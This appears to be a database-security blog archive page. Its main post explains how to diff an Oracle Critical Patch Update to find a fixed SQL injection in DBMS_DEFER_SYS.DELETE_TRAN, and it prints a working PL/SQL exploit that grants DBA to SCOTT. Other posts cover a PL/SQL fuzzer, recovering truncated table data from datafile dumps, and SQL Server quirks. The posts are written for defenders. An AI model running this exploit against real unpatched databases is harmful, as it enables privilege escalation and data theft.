technical tips


I found the following vulnerability very interesting. Not the fact that it bypasses SELinux / AppArmor, etc. which is interesting in itself but the fact that according to the description, the compiler removed an “if” block it thought was redundant and thus introduced the vulnerability.

So, the developer actually wrote perfectly secure code but in the compilation process, the vulnerability was introduced. I love it! This time it’s the machine’s fault!

In light of last week’s CPU announcements, I invited my colleague Aviv Pode, Sentrigo’s Head of Security Research, to submit a special guest blog post. Thanks Aviv!

Oracle releases Critical Patch Updates (CPUs) every three months, containing security code fixes to vulnerabilities discovered by its security personnel or external researchers and hackers. By exploring these CPUs we can obtain valuable information about the vulnerabilities addressed by the patches and use them to create exploits that attack or hack the database. Thus, ironically, each time Oracle releases a new CPU to help protect databases, it actually increases the risk of Oracle databases worldwide being attacked.

This blog post describes and demonstrates the simple process of exploring Oracle’s CPUs to create working exploits that can be used to attack or hack an Oracle database. Only basic familiarity in information security and databases is required.

I will demonstrate the ease in which hackers can turn Oracle CPUs to attack vectors and its intent is to show IT security personnel the way their opponents operate. I’d like to emphasize that the best way to protect the databases against the hackers is a mix of several defense layers:

  1. You must apply the CPUs as soon as you can after they are released.
  2. You must harden the database and disable any functions in the database that you do not need.
  3. You should deploy security measures such as monitoring and virtual patching in order to augment the security.

Oracle Databases & Critical Patch Updates

Oracle is considered the leading and most widely used Database Management System (DBMS) in the enterprise world. Oracle databases are at the backbone of most critical or sensitive information systems in the world, from government and military, through telecommunications, commercial and financial companies, to some small businesses and web applications. Thus, Oracle databases store probably the most sensitive and valuable information in the world, anything from credit card information and personal health records to business transactions and national security documents.

In the past, Oracle installations contained weak default configurations, which made it easy for malicious users to penetrate Oracle databases. Among these weak default settings were active privileged user accounts with default known passwords, weak authentication settings and more. Since then, Oracle hardened these default settings, reducing many of the quick and easy attack methods that were publicly known and possible, leaving an interesting attack vector – built-in code vulnerability exploitation.

Code patches are released by software vendors to correct bugs discovered in their products. In many cases, these bugs affect security and the patches are actually fixes to security vulnerabilities that reside in the code itself. Oracle releases its Critical Patch Updates (CPUs) every three months since January 2005. These CPUs, which in the past contained fixes to bugs not only affecting security, now focus only on security related issues. Oracle, naturally, publishes very little information about the vulnerabilities or attack possibilities and refrain from delivering  valuable information into the wrong hands. At most, Oracle indicates the high-level component being addressed or details the required privileges and severity level of the bug (using Common Vulnerability Scoring System [CVSS]).

However, the CPUs are not helping protect Oracle customers much. An interesting situation exists in most Oracle installations worldwide, severely compromising data confidentiality, integrity and availability in those systems. A survey conducted by Sentrigo showed that about 90 percent of Oracle customers do not install Oracle CPUs in the 6 months following their release, while about 60 percent do not install them at all – ever. This means that most of Oracle databases worldwide currently contain un-patched vulnerabilities in built-in components, which may be exploited by hackers or malicious users.

Exploring Oracle CPUs

Oracle CPUs are available for every supported chipset and operating system, as a compressed directory containing a bulk of sub-directories. The CPU contains meta-data for the entire patch, listing identification and very basic information about the bug fixes, stored in text and xml files. Each sub-directory is referred to as a ‘molecule’. Each molecule has a unique identification number. The molecule with the number corresponding to the name of the compressed directory is a special molecule with information about the entire CPU. Besides this special molecule, each molecule contains a fix of a different vulnerability found in a built-in component of Oracle. Inside each molecule we will find two sub-directories – “files” and “etc”. Under “files” we can find the corrected files, while under “etc” meta-data such as the location of the corrected files in the Oracle Home, the feature or component these files relate to or the affected versions of Oracle.

Oracle database CPUs usually contain fixes to four types of files: Binary, Java, PL/SQL and SQL files, although on occasion corrections are done in configuration and other types of files. The meta-data in the ‘etc’ sub-directory indicates how the ‘opatch’ (Oracle’s utility for applying patches) should apply this fix. Usually it indicates a simple ‘copy’ to replace a PL/SQL component or SQL script, or an ‘archive’ to store a fixed object (.o binary) file in an archive (.a) file. This can be viewed in the “actions” file, under “etc/config”.

Now that we know what kinds of files we expect to find inside the CPU, we can proceed to see how these files can be used to find and understand the vulnerabilities fixed by the patch.

Finding an exploitable vulnerability

In order to demonstrate, we will explore the July ‘08 CPU for Oracle 10.2.0.3 running on Linux 32 bit. After downloading and extracting the compressed file we will find 55 molecules. For our learning purpose we can pick a simple one, let’s say – 7154835. This molecule contains, under ‘files’, a single PLB file, to be stored in the directory specified in the ‘etc/config/actions’ file, under the Oracle Home.

PLB files are wrapped PL/SQL files, which contain the code of built-in Oracle components originally written in PL/SQL by Oracle. The PL/SQL code is wrapped using Oracle’s propriety wrapping algorithm. However, the algorithm for Oracle 9i wrapped code has been cracked and published by David Litchfield of NGS-Security at Black-Hat. Oracle 10g and 11g wrapping algorithm has not yet been published, however it is safe to assume that it is available to hackers worldwide. It is important to note here that even Oracle does not consider this wrapping algorithm to be anything more than an obfuscation and it is not cryptologically strong like PKI infrastructure, for example.

Once the PLB file has been unwrapped (using tools available for the hackers) we can view the plain text PL/SQL code. This can not only help us find the vulnerabilities that were patched, but actually find new unknown ones by analyzing the code – but this is a matter for another post :-) To continue with our demonstration, the PLB file we found in the molecule and unwrapped was ‘prvtdefr.plb’. We will locate and un-wrap the same file from an unpatched Oracle installation, or better-yet – patched with the previous CPU – April ’08. The file could be found in the same corresponding directory under the Oracle Home, as specified in the molecule meta-data ‘actions’ file – ‘$ORACLE_HOME/rdbms/admin/’.

Now we have two versions of the same Oracle built-in code file, one before and one after the code fix. All we need to do is compare the two files, locate the changes and in most cases a minimal additional effort will be required to understand the vulnerability.

Using a simple text-diff utility, we find several changed lines of code, which we can view in clear text. We can see that changes were made in the ‘dbms_defer_sys’ package, whose code is implemented here. Scrolling down we can examine the changes made in the ‘delete_tran_inner’ procedure. First, let’s look at the procedure header:

PROCEDURE DELETE_TRAN_INNER(DEFERRED_TRAN_ID IN VARCHAR2,
  DESTINATION IN VARCHAR2, CATCHUP IN RAW) IS

We can see three parameters passed to this procedure, among them ‘DESTINATION’, a varchar2.

In the old PL/SQL file, before the code fix, inside the procedure we can see concatenation of parameters passed to the procedure, into new variables:

COND1 := 'd.deferred_tran_id=''' || DELETE_TRAN_INNER.DEFERRED_TRAN_ID
  || ''' AND ';
COND2 := 'd.dblink=''' || NLS_UPPER(DELETE_TRAN_INNER.DESTINATION)
  || ''' AND ';

These variables are later concatenated into an SQL SELECT statement and then executed:

DBMS_SQL.PARSE(SQLCURSOR, 'SELECT d.deferred_tran_id, d.dblink ' ||
  'FROM "_DEFTRANDEST" d ' ||
  'WHERE ' || COND1 || COND2 || COND3 || ' 1 = 1', DBMS_SQL.V7);
IGNORE := DBMS_SQL.EXECUTE(SQLCURSOR);

Let us now examine the corresponding lines in the new fixed code:

COND1 := 'd.deferred_tran_id=:deferred_tran_id AND ';
COND2 := 'd.dblink=:destination AND ';

We can see that bind variables are used, as a safe way to avoid SQL Injection vulnerabilities. From these code changes we can conclude that the patch is intended to fix an SQL injection vulnerability in the old PL/SQL code. However, the ‘delete_tran_inner’ is a private procedure, which a user cannot execute directly. In this simple case, a closer look will find a public ‘delete_tran’ procedure that a user can execute directly, which in turn calls the ‘delete_tran_inner’ without performing input validation or sanitization either. We can now continue to create an exploit for this vulnerability.

Creating an Exploit

After locating the fixed vulnerability and identifying the weak procedure and parameters which we can exploit, we can write (or copy from the web) an exploit and simply adjust it to target our vulnerable procedure. The code we found opens a cursor which grants DBA privileges to Scott, the malicious user account we will use to hack the database. By calling the ‘delete_tran’ procedure in ‘dbms_defer_sys’ and passing an SQL injection, we can execute the evil cursor:

DECLARE
  C NUMBER;
BEGIN
  C := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(C,
    'DECLARE
       PRAGMA autonomous_transaction;
       BEGIN
         EXECUTE IMMEDIATE ''grant DBA to SCOTT'';
         COMMIT;
       END;’,0);
  DBMS_DEFER_SYS.DELETE_TRAN('x',''' and 1=DBMS_SQL.EXECUTE('||C||')--');
END;

Theoretically, executing this code on an Oracle 10.2.03 un-patched with the July ’08 CPU will result in Scott being granted DBA privileges to the entire database. As a side note, this code will not work on an 11g database because the dbms_sql package was hardened to check if privileges have changed between the parse and the execute stages.

This demonstration focused on a PL/SQL molecule. Many molecules contain binary files which we cannot examine as easily as what we have seen here. In order to examine these binary files, more sophisticated tools (than ‘diff’) are required, such as DataResue’s IDA-Pro and Zynamics BinDiff. However, the idea remains the same – compare the old and new code, find the changed function, understand the fix and create a targeted exploit. In such more complex cases, if you have found the code fix but do not understand the vulnerability or do not know how to successfully exploit it, a fuzzer may come in handy. Running a good fuzzer on the old version of the fixed function or procedure will, in many cases, reveal the information hackers are looking for.

Conclusion

As we have demonstrated, using Oracle’s CPUs to find vulnerabilities and create working exploits that target, attack and hack Oracle databases is quite simple. As a result, hackers and malicious users can easily create such exploits and publish them on the web for other users to utilize. In actuality, this means every time Oracle releases a CPU, hackers are given more critical information on how to successfully attack Oracle databases, which increases the risk level for Oracle installations worldwide.

The conclusion is simple: Apply patches AS SOON AS POSSIBLE. Harden your database by disabling unnecessary components.  Or in case your organization is part of the majority of users who cannot afford it, for availability (downtime) practical or sensitivity considerations – apply a security measure such as virtual patching to block attacks targeting the database.

-Aviv

Today, I had to download an Oracle 11g installation to a headless Linux server without using a browser. Of course, using wget immediately came to mind but since you need to log-in, just pointing wget to the file does not work and will redirect you to the login page. I did a quick Google search and found the following solutions. But, I’m using Firefox which saves the cookies in a sqlite database that is not compatible with the old Netscape cookies format that wget works with and I had no patience to use Lynx.

A quick search on the Mozilla add-ons page showed me this little gem. To download this little add-on you must register to the site because it is experimental. This add-on adds a new menu item under tools called “Export cookies…” and as the name suggests it allows you to export the cookies including session cookies.

So, the solution was to simply log-in to OTN and then export the cookies to a cookies.txt file. After uploading the file to the server, running wget with –load-cookies did the trick:

wget –load-cookies=cookies.txt http://download.oracle.com/otn/linux/oracle11g/linux_11gR1_database_1013.zip

Do you have a simpler way?

Happy New Year everyone!

As promised, in this blog post I will deal with the PL/SQL fuzzer I’ve created in my spare time and during flights. The goal for creating it was to provide an easy tool for the DBA to test PL/SQL code inside the database. This tested code can be internally developed or by a 3rd party. Before describing the architecture of the fuzzer and showing examples, I would like to make the following clarifications / warnings:

  • Fuzzing on production is a BIG no-no.  Never run the fuzzer on any database you care about. Always use test copies because running the fuzzer may crash / corrupt the database.
  • The fuzzer cannot guaranty that the code is not vulnerable, it can only try and find existing vulnerabilities. Running the fuzzer on a procedure and receiving a clean result does not mean that this procedure is free of vulnerabilities because the fuzzor does not analyze the code and does not visit all the code paths.
  • The fuzzer is in no way shape or form a finished product. It will blow in your face. It will fail when running your code. It contains multiple bugs. USE RESPONSIBLY!!!

Now that the warnings part is over, let’s talk about the design.
I chose PL/SQL for the following reasons:

  • Easy to run SQL statements
  • Built-in the database
  • Cross platform
  • Good enough for the task
  • DBAs already speak it fluently
  • Can be easily scheduled as a DB job from inside the database

The design is fairly simple and is based on the following requirements:

  • Must use database tables to track executions across invocations and to change various fuzzing parameters
  • Must try and find interesting (dynamic) code using discovery
  • Must easily generate reports on the fuzzing results

(more…)

I’ve just noticed that Microsoft had removed the DBCC BYTES command from DBCC.
On 2005:

DBCC TRACEON(2588)
DBCC HELP (‘?’)
GO

activecursors
addextendedproc
addinstance
auditevent
autopilot
buffer
bytes
cacheprofile
cachestats
callfulltext
checkalloc
checkcatalog
checkconstraints
checkdb
checkfilegroup
checkident
checkprimaryfile
checktable
cleantable
clearspacecaches
collectstats
concurrencyviolation
cursorstats
dbrecover
dbreindex
dbreindexall
dbrepair
debugbreak
deleteinstance
detachdb
dropcleanbuffers
dropextendedproc
config
dbinfo
dbtable
lock
log
page
resource
dumptrigger
errorlog
extentinfo
fileheader
fixallocation
flush
flushprocindb
forceghostcleanup
free
freeproccache
freesessioncache
freesystemcache
freeze_io
help
icecapquery
incrementinstance
ind
indexdefrag
inputbuffer
invalidate_textptr
invalidate_textptr_objid
latch
loginfo
mapallocunit
memobjlist
memorymap
memorystatus
metadata
movepage
no_textptr
opentran
optimizer_whatif
outputbuffer
perfmon
persiststackhash
pintable
proccache
prtipage
readpage
renamecolumn
ruleoff
ruleon
semetadata
setcpuweight
setinstance
setioweight
show_statistics
showcontig
showdbaffinity
showfilestats
showoffrules
showonrules
showtableaffinity
showtext
showweights
shrinkdatabase
shrinkfile
sqlmgrstats
sqlperf
stackdump
tec
thaw_io
traceoff
traceon
tracestatus
unpintable
updateusage
useplan
useroptions
writepage
cleanpage
DBCC execution completed. If DBCC printed error messages, contact your system administrator.

While running the same thing on 2008 does not contain DBCC BYTES.

I wonder what’s the reason for this change (I’ve checked the binary and it does not contain DBCC BYTES so it’s not just a help omision. I can think of several security reasons why you would like to remove this feature like reading interesting parts of memory remotely. On the other hand, it can be totally security unrelated. If anyone out there knows, please do share.

As I wrote in a previous post, truncating tables or scrambling content might not remove the actual data from the datafiles. The examples I gave in that post were Oracle related and now I’ll show the same using MS SQL Server 2005. I’d like to thank Dmitriy Geyzerskiy for providing the actual working example.

create database Test

go

use Test

go

– Create a dummy table
create table aaa (a varchar(100));

go

BEGIN TRANSACTION
– Populate with dummy data (object names)
insert into aaa
select name from sys.all_objects;

COMMIT;

– Make sure the data is flushed to the disk
CHECKPOINT;

–get the file and page offsets
SELECT
CONVERT (VARCHAR (6),
CONVERT (INT,
SUBSTRING (sa.first_page, 6, 1) +
SUBSTRING (sa.first_page, 5, 1))) as [File offset],
CONVERT (VARCHAR (20),
CONVERT (INT,
SUBSTRING (sa.first_page, 4, 1) +
SUBSTRING (sa.first_page, 3, 1) +
SUBSTRING (sa.first_page, 2, 1) +
SUBSTRING (sa.first_page, 1, 1))) AS [First page]
FROM
sys.system_internals_allocation_units AS sa,
sys.partitions AS sp
WHERE
sa.container_id = sp.partition_id
AND sp.object_id = OBJECT_ID(‘aaa’);

–Allow DBCC output in user window
DBCC TRACEON(3604)

–truncate the table
TRUNCATE TABLE aaa

–examine the contents of the page (all the objects from the truncated table are there)
DBCC PAGE (‘Test’, — database name
1, — [File offset] from previous query
73, — [First page] from previous query
3) — extended output option

I had an interesting conversation with Alexander Kornbrust yesterday about cloning databases. Most DBAs I know copy database files from production to create staging, integration and test environments. Those environments contain a lot of sensitive information (PII, CC, etc.) which is usually either deleted, scrambled or truncated. The problem with these solutions is that most DBAs forget that the database performs logical deletes and not physical deletes. This can be easily demonstrated on Oracle by the following simple steps that create a table, populate it using dummy data, truncating it and showing the data from the dump file:

  • create table test(t varchar2(30));
  • insert into test select object_name from user_objects where rownum < 1000;
  • commit;
  • select dbms_rowid.rowid_relative_fno(rowid), dbms_rowid.rowid_block_number(rowid) from test where rownum < 2;
  • truncate table test;
  • For the following step, replace ‘x’ and ‘y’ with the results from the previous select
  • alter system dump datafile x block y;
  • show parameter user_dump_dest
  • Check out the new file in the user_dump_dest directory. The file will contain the truncated data in the block.

Of course, this is just an example but it is worth thinking about. It is also worth considering TDE to protect the data files from direct reading.

DBAs out there – what do you do to remove sensitive information from your non-production environments?

A somewhat technical post on MS SQL Server encrypted triggers.

It turns out that MS SQL Server 2005 has an issue with encrypted triggers in the model database. We’ve created an encrypted database level trigger on DDL operations in all databases including the model database so that when a new database is created the trigger will be created in the new database as well. The problem we’ve encountered is that the encrypted triggers are not correctly copied to the new database.

For example, here is the code for creating the triggers:

exec sp_MSForeachdb
‘use ?;
SET QUOTED_IDENTIFIER ON;
SET ANSI_NULLS ON;
IF EXISTS (SELECT * FROM sys.triggers
WHERE parent_class = 0 AND name = ”TEST_DDL_TRIGGER”)
DROP TRIGGER TEST_DDL_TRIGGER
ON DATABASE;’,
‘?’,
‘USE ?;
SET QUOTED_IDENTIFIER ON;
SET ANSI_NULLS ON;
EXECUTE(”CREATE TRIGGER TEST_DDL_TRIGGER
ON DATABASE WITH ENCRYPTION
FOR DDL_DATABASE_LEVEL_EVENTS
AS
BEGIN
– Do something…
END;”)’;
Now, let’s test this:
create database test;
GO;
use test;
create table tt (id int);

And voila -

Msg 102, Level 15, State 1, Procedure TEST_DDL_TRIGGER, Line 1
Incorrect syntax near ’0xfa86′.

So, is there any MS SQL Server expert out there who can shed some light on this behavior? It looks like a bug to me.

Well, finally I’m writing the third part of the blog. The thing that pushed me to finish this was a talk I had with Tim Hall of Oracle-base fame after his Unconference presentation in Oracle OpenWorld. Tim told me that his Java developers are claiming that adding user context information in an already existing application (Swing) is a non trivial task. You know, I’ve been hearing this from a lot of our customers and while I agree it is not trivial, I will try to outline a method of doing so without changing application code. In this day and age when there are advanced tools such as AspectJ and Spring framework, adding cross-cutting concerns to an application should not be an insurmountable task.

So, without further ad0, I will detail an AspectJ aspect that will wrap around an Oracle connection and add user context information to every statement. This aspect can be used with existing programs and also adapted and extended to catch login information in a Swing based application. I will build of the previous examples in providing the necessary infrastructure of domain and DAO classes.

(more…)

As promised, this is the second of a three part blog entry discussing the propagation of middle-tier users to the database. This post will mainly concentrate on the Java side of things. I will show how to use Spring-framework’s excellent transactional support using AOP to add an additional advice, relying on ThreadLocal to pass application user identities from the web tier all the way to the database, and using annotations on the service layer to specify the module and action.

I strongly advise downloading the linked zipped source code at the end of the post if you’re planning on seriously reviewing the code.

(more…)

« Previous PageNext Page »